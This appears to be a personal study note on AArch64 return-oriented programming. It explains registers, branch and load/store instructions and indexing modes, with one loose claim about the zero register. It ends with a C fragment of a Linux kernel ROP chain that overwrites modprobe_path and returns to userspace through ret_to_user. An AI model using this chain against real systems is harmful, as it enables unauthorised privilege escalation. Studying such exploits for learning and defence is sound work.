Aarch ROP

#aarch64-rop#rop#ret_to_user


Registers

Aarch64 has 31 general purpose registers, x0 to x30. Since it’s a 64 bit architechture, all the registers are 64 bit. But we can access the lower 32 bits of thes registers by using them with the w prefix, such as w0 and w1.

There is also a 32nd register, known as xzr or the zero register. It has multiple uses which I won’t go into but in certain contexts, it is used as the stack pointer (esp equivalent) and is thereforce aliased as sp.


Instructions

Here are some basic instructions:

  • mov - Just like it’s x86 counterpart, copies one register into another. It can also be used to load immediate values.

        mov x0, x1; copies x1 into x0
        mov x1, 0x4141; loads the value 0x4141 in x1
    
  • str/ldr - store and load register. Basically stores and loads a register from the given pointer.

       str x0, [x29]; store x0 at the address in x29
       ldr x0, [x29]; load the value from the address in x29 into x0
    
    • stp/ldp - store and load a pair of registers. Same as str/ldr but instead with a pair of registers

          stp x29, x30, [sp]; store x29 at sp and x30 at sp+8
      
  • bl/blr - Branch link (to register). The x86 equivalent is call. Basically jumps to a subroutine and stores the return address in x30.

        blr x0; calls the subroutine at the address stored in x0
    
  • b/br - Branch (to register). The x86 equivalent is jmp. Basically jumps to the specified address

        br x0; jump to the address stored in x0
    
  • ret - Unlike it’s x86 equivalent which pops the return address from stack, it looks for the return address in the x30 register and jumps there.


Indexing modes

Unlike x86, load/store instructions in Aarch64 has three different indexing “modes” to index offsets:

  • Immediate offset : [base, #offset] - Index an offset directly and don’t mess with anything else

        ldr x0, [sp, 0x10]; load x0 from sp+0x10
    
  • Pre-indexed : [base, #offset]! - Almost the same as above, except that base+offset is written back into base.

        ldr x0, [sp, 0x10]!; load x0 from sp+0x10 and then increase sp by 0x10
    
  • Post-indexed : [base], #offset - Use the base directly and then write base+offset back into the base

        ldr x0, [sp], 0x10; load x0 from sp and then increase sp by 0x10
    

Example

// After commit_creds or modprobe overwrite, you need to switch to userspace
// Call ret_to_user in the end
// It expects the stack should point to pt_regs struct
// Craft a struct manually before calling the function
// ret_to_user safely returns to userspace, by setting system registers correctly

uint64_t user_sp;

// padding
memset(buf,0x61,64);
buf[8] = canary;
buf[9] = 0xdeadbeef;
//ropchain starts here
// buf[10] = b""  
// ldp x20, x19,[sp, #0x10]; mov x0, x8; ldp x29, x30, [sp], #0x20; autiasp; ret 
buf[11-1] = 0xffff8000800cc588; 
buf[12-1] = 0x0  ;
// str w20, [x19,#0x6c]; ldp x20, x19, [sp, #0x10]; ldp x29, x30, [sp], #0x20; autiasp ; ret    
buf[13-1] = 0xffff8000804f3c88; // (modprobe - offset)
buf[14-1] = 0x682f706d74 ;
buf[15-1] = 0xffff000000f1395d;  

// All good up till here, now we need to switch from kernel space to user space
buf[15] = 0x0;
buf[16] = ret_to_user;
//sp add up +0x20
// this sp should contain the pt_reg struct, lets craft it manually
// from here sp + 0x100 = pc
buf[19+32] = (uint64_t)root;
// sp + 0xf8 = userspace sp
asm volatile("mov %0, sp" : "=r"(user_sp));
buf[19+31] = user_sp;
// sp + 0x108 = state, null it
buf[19+33]  = 0;